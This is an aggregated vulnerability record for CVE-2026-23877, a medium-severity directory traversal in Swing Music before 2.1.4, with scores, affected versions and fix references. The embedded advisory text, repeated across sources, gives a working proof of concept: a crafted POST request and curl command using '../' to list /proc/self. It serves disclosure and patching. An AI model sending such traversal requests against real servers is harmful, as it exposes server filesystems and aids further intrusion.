{"id":"CVE-2026-23877","aliases":["EUVD-2026-3284","GHSA-pj88-9xww-gxmh","PYSEC-2026-1947"],"status":"published","title":"Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00595,"percentile":0.48778,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-25","CWE-284"],"published":"2026-01-19T20:52:00Z","modified":"2026-10-28T02:30:20Z","fixes":[{"ecosystem":"PyPI","package":"swingmusic","fixed_in":["2.1.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"swingmusic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"swingmusic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["2.0.11","2.1.0","2.1.1","2.1.2","2.1.3"]},{"source":"osv","ecosystem":"PyPI","package":"swingmusic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["2.0.11","2.1.0","2.1.1","2.1.2","2.1.3"]}],"products":[{"vendor":"swingmx","product":"swing_music"},{"vendor":"swingmx","product":"swingmusic"}],"references":[{"url":"https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23877","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pj88-9xww-gxmh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23877.json","tags":["advisory"]},{"url":"https://github.com/swingmx/swingmusic","tags":["package"]},{"url":"https://pypi.org/project/swingmusic","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-23877","title":"Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","status":"published","published":"2026-01-19T20:52:00.516Z","modified":"2026-01-20T15:20:58.996Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-25","CWE-284"],"updated_at":"2026-11-02T13:42:26.790871Z"}],"euvd":[{"id":"EUVD-2026-3284","description":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","status":"published","published":"2026-01-19T20:52:00Z","modified":"2026-01-20T15:20:58Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:48:50.374471Z"}],"ghsa":[{"id":"GHSA-pj88-9xww-gxmh","title":"Swing Music has a Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","status":"published","published":"2026-01-21T01:02:29Z","modified":"2026-01-21T01:02:32Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-25"],"updated_at":"2026-11-02T14:39:18.564331Z"}],"nvd":[{"id":"CVE-2026-23877","description":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","status":"published","published":"2026-01-19T21:15:52.147Z","modified":"2026-06-17T10:22:14.56Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-25","CWE-284"],"updated_at":"2026-11-02T14:12:04.066712Z"}],"osv":[{"id":"CVE-2026-23877","title":"Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","status":"published","published":"2026-01-19T20:52:00.516Z","modified":"2026-10-28T02:30:20.829984041Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-25","CWE-284"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-pj88-9xww-gxmh","title":"Swing Music has a Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","status":"published","published":"2026-01-21T01:02:29Z","modified":"2026-07-07T17:56:38.309315644Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-25"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"PYSEC-2026-1947","title":"Swing Music has a Directory Traversal \u0026 Filesystem can be accessed by a non-admin user","description":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","status":"published","published":"2026-07-07T16:03:19.235266Z","modified":"2026-07-07T17:48:12.605060447Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"}]}}